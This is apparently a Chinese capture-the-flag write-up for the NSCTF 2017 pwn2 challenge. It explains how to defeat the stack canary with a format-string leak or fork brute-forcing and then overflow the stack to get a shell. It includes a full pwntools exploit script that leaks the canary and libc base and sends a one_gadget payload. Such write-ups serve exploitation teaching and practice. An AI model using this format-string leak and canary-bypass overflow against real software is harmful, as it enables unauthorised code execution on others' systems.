Canary 绕过 - NSCTF 2017-pwn2
0x00 解题过程
1.拿到程序检查保护机制

2.,发现开启了 canary 保护,对程序进行分析
关键点1:程序使用 fork 创建子进程,可以考虑爆破绕过 canary

关键点2:game 函数中存在两个漏洞,1:格式化字符串,可以泄露 canary 和 libc base;2:read 处的栈溢出

关键点3:input_name 处也存在由 memcpy 引起的栈溢出,

3.解题思路:
该题漏洞点比较多,绕过 canary 可以有两种选择(fork 爆破、printf 泄露),之后任意使用一次栈溢出即可 getshell,原题给了 libc,可考虑 onegadget
0x01wp
from pwn import *
onegadget = [0x3d2a3, 0x3d2a5, 0x3d2a9, 0x3d2b0, 0x67ccf, 0x67cd0, 0x137eee, 0x137eef]
padd = 9*4
off = 0x18fa1
p = process("./pwn2")
p.recvline()
p.sendline("Y")
p.recvuntil("please:")
p.sendline("(%11$x.%27$x)")
data = p.recvuntil(")[*]")
print("leak data is %r" %data)
canary = int(data[26:26+8].decode(), 16)
libc_start_main = int(data[26+9:26+17].decode(), 16)
print("canary is %#x" %canary)
print("libc start main is %#x" %libc_start_main)
libc_base = libc_start_main - off
print("libc base is %#x" %libc_base)
getsh = libc_base + onegadget[4]
print("getsh addr is %#x" %getsh)
payload = 8*p32(canary) + p32(getsh)
p.recvuntil("Id:")
input("attack")
p.send(payload)
p.interactive()
浙公网安备 33010602011771号